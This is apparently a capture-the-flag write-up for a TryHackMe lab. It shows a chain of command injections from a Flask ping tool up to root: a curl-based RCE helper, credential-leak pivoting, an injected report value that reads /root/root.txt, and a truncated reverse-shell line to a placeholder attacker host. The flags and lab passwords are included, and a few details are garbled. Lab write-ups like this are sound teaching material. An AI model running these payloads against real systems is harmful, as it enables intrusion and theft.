

PENETRATION TEST WRITEUP

TryHackMe — “Infinity Pool”

The Byte Lotus Hotel · Hacker Holidays · Boot2Root (Medium)

Target	10.49.186.240
Operating System	Linux (Ubuntu 24.04)
Difficulty	Medium
Objective	Retrieve User and Root flags
Author	Sameekey
Date	7 August 2026

Report outline: Reconnaissance → Scanning → Gaining Access → Maintaining Access → Reporting. All commands are presented without their output so the room can be re-played end-to-end.

1. Reconnaissance

Reconnaissance is the information-gathering phase. The engagement starts from a blank state with only the target IP address available. The goal is to identify the attack surface: open ports, running services, and any exposed web functionality.

1.1 Port & Service Discovery

A full TCP port scan identifies the externally reachable services. A version scan is then run against the discovered ports.

```
nmap -sV -p- 10.49.186.240
nmap -p 22,80 -sV -sC 10.49.186.240
nmap --script http-title -p 80 10.49.186.240
```

Findings: 22/tcp (OpenSSH) and 80/tcp (Gunicorn / Flask web app).

1.2 Web Application Reconnaissance

The web application is a hotel booking site for the “Byte Lotus” hotel. Source review of the page and well-known files reveals hidden internal paths.

```
curl -s http://10.49.186.240/
curl -s http://10.49.186.240/robots.txt
curl -s http://10.49.186.240/static/app.js
curl -s http://10.49.186.240/status
```

Findings: robots.txt disallows /internal/ and /status. app.js shows the /status page POSTs a host value to the internal /internal/netcheck endpoint.

2. Scanning

Scanning maps the services on the target and, after the first foothold, expands to the internal services that are bound only to localhost.

2.1 External Services

- **80/tcp** — HTTP, Gunicorn (Python Flask) web application.
- **22/tcp** — SSH (OpenSSH).
- Host header / virtual hosts and web directories enumerated with common tools.

```
curl -s -i http://10.49.186.240/  
curl -s http://10.49.186.240/robots.txt  
gobuster dir -u http://10.49.186.240 -w /usr/share/wordlists/dirb/common.txt
```

2.2 Internal Service Discovery

Once a foothold is gained on the box, the RCE helper (below) is used to inspect the listening sockets, which reveals the internal micro-service architecture.

```
./rce.sh 'ss -tlnp'  
./rce.sh 'ps aux'  
./rce.sh 'cat /etc/passwd'
```

Internal services: 127.0.0.1:9000 (automation, root), 127.0.0.1:3000 (watchtower, svc-watch), 127.0.0.1:8080 (FreePBX/Apache), 127.0.0.1:3306 (MariaDB), 127.0.0.1:5038 / 8088 / 8089 (Asterisk).

3. Gaining Access

3.1 Command Injection in the Netcheck Tool

The /status page is a “staff tool” that runs a ping against a user-supplied host. On the backend the host value is concatenated into a shell command built with shell=True, so a pipe character is enough to break out and run arbitrary commands. The vulnerable request is sent directly to the hidden /internal/netcheck endpoint.

```
curl -X POST http://10.49.186.240/internal/netcheck \
  --data-urlencode "host=| id"
curl -X POST http://10.49.186.240/internal/netcheck \
  --data-urlencode "host=| whoami; uname -a; pwd"
```

Result: code executes as the web user (uid=1001). RCE is confirmed.

3.2 RCE Helper Script

To make command execution easier, a small helper script is used. It sends every command through the vulnerable endpoint and extracts the command output from the returned HTML.

```
#!/bin/bash
# rce.sh - run a command on the target via the netcheck injection
curl -s http://10.49.186.240/internal/netcheck --max-time 20 -X POST \
  --data-urlencode "host=| $1" | awk '\
  /<pre class="out">/{f=1; sub(/.*<pre class="out">/,""); print; next}\
  /<\pre>/{f=0; sub(/<\pre>.*"/,""); if($0!="") print; next}\
  f'
# usage:
#   ./rce.sh "id"
#   ./rce.sh "cat /home/web/user.txt"
```

3.3 User Flag

```
./rce.sh 'id'
./rce.sh 'cat /etc/passwd'
./rce.sh 'ls -la /home/web/'
./rce.sh 'cat /home/web/user.txt'
```

USER FLAG is retrieved from /home/web/user.txt.

4. Maintaining Access (Pivoting & Privilege Escalation)

4.1 Application Footprint on Disk

The three Unicorn applications live under `/var/www/infinity_pool`. Their systemd units reveal the runtime users and any environment files.

```
./rce.sh 'ls -la /var/www/infinity_pool/'
./rce.sh 'cat /etc/systemd/system/cc-edge.service'
./rce.sh 'cat /etc/systemd/system/cc-watchtower.service'
./rce.sh 'cat /etc/systemd/system/cc-automation.service'
```

Findings: edge runs as web (public). watchtower runs as svc-watch (127.0.0.1:3000). automation runs as root (127.0.0.1:9000) and loads automation.env as an EnvironmentFile.

4.2 Watchtower Configuration Leak

The watchtower ops console is bound to loopback and is “authenticated by network position”. Its `/api/config` endpoint leaks FreePBX UCP credentials and the automation endpoint. The automation service exposes its API map on `/health`.

```
./rce.sh 'curl -s http://127.0.0.1:3000/api/config'
./rce.sh 'curl -s http://127.0.0.1:3000/'
./rce.sh 'curl -s http://127.0.0.1:9000/health'
```

Findings: FreePBX UCP user FreePBXUCPTemplateCreator with password St4yN0t1c3d_2026, portal `http://127.0.0.1:8080/ucp`, automation endpoint `http://127.0.0.1:9000`, and POST `/jobs/export` requiring a Bearer token.

4.3 Logging into UCP

The UCP login page performs an outbound connectivity check that hangs for ~20s before the page renders, so requests need a generous timeout. The login form uses a session-bound CSRF token that must be extracted from the same session. The form is submitted through the AJAX dispatcher with `module=User&command=login`.

```
# load the login page and keep the session cookie
./rce.sh 'curl -s -m 60 -c /tmp/cj.txt -o /tmp/loginpage.html \
    http://127.0.0.1:8080/ucp/index.php'

# extract the CSRF token from the rendered login form
./rce.sh 'TOKEN=$(grep -oE "name=\"token\" value=\"[0-9a-f]{32}\" /tmp/loginpage.html \
    | grep -oE "[0-9a-f]{32}"); echo "$TOKEN"'

# authenticate with the leaked credentials
./rce.sh 'curl -s -m 60 -b /tmp/cj.txt -c /tmp/cj.txt \
    -X POST "http://127.0.0.1:8080/ucp/index.php?module=User&command=login" \
    -d "token=$TOKEN&username=FreePBXUCPTemplateCreator&password=St4yN0t1c3d_2026"'
```

Result: authenticated UCP session is established for the template-creator user (extension 9919988).

4.4 Automation Bearer Key from the Voicemail Widget

Adding the Voicemail widget for the user’s extension lists an inbox message. The message metadata (its caller-ID) contains the automation bearer key. The message list is fetched via the authenticated AJAX grid command.

```
./rce.sh 'curl -s -m 60 -b /tmp/cj.txt \  
"http://127.0.0.1:8080/ucp/index.php?quietmode=1&module=Voicemail&command=grid&ext=99199'
```

Result: a voicemail message has caller-ID "Automation Key <key>", which is the bearer token for the automation service.

4.5 Root Shell through the Automation Job Runner

The automation service runs as root. Its POST /jobs/export endpoint takes a "report" name that is concatenated into a tar command string. By injecting a semicolon the command can be extended to read the root flag. The injected value becomes part of: tar czf /var/automation/exports/<report>.tgz /var/automation/data. A # comment kills the trailing .tgz argument.

```
# confirm the token works and observe the executed command  
./rce.sh 'curl -s -X POST http://127.0.0.1:9000/jobs/export \  
-H "Content-Type: application/json" \  
-H "Authorization: Bearer <BEARER_KEY>" \  
-d "{\"report\":\"test\"}"'  
  
# inject a second command to read the root flag  
./rce.sh 'curl -s -X POST http://127.0.0.1:9000/jobs/export \  
-H "Content-Type: application/json" \  
-H "Authorization: Bearer <BEARER_KEY>" \  
-d "{\"report\":\"x.tgz /var/automation/data; cat /root/root.txt #\"}"'  
  
# optional: write an SSH key or spawn a reverse shell for persistence  
./rce.sh 'curl -s -X POST http://127.0.0.1:9000/jobs/export \  
-H "Content-Type: application/json" \  
-H "Authorization: Bearer <BEARER_KEY>" \  
-d "{\"report\":\"x.tgz /var/automation/data; bash -c \\\\\"bash -i >& /dev/tcp/<ATTACKER_
```

Result: arbitrary command execution as root. ROOT FLAG is retrieved from /root/root.txt.

5. Reporting

5.1 Executive Summary

The engagement against 10.49.186.240 (Infinity Pool) resulted in a full compromise. A public-facing command injection in the edge application gave an initial foothold as the web user, allowing the user flag to be retrieved. Pivoting through the loopback-only micro-services (watchtower and FreePBX UCP) exposed credentials and a bearer token for the automation service, which runs as root. A second command injection in the automation job runner escalated to root and produced the root flag.

5.2 Flags

User flag	THM{n0_v1s1bl3_3dg3}
Root flag	THM{tr4c3d_t0_th3_h0r1z0n}

5.3 Findings & Vulnerability Summary

#	Finding	Severity	Location
1	OS Command Injection (host param, shell=True)	Critical	edge /internal/netcheck
2	OS Command Injection (report param, tar command)	Critical	automation /jobs/export
3	Hardcoded credentials exposed via API	High	watchtower /api/config
4	Secret (automation bearer key) stored in a voicemail message	High	FreePBX UCP Voicemail
5	Internal services reachable only via loopback (limited egress / network position 107)	Medium	107.0.1 services

5.4 Mitigation Recommendations

- Never build shell commands from user input; pass arguments as a list to subprocess (or equivalent) and disable shell=True.
- Validate the host / report parameters against a strict allow-list (IP address for ping, safe filename for reports).
- Run the automation service with the least privilege required, not as root.
- Do not store secrets in voicemail messages or configuration endpoints; use a secret manager and rotate the template-creator credentials.
- Require real authentication on internal consoles instead of relying on “network position”.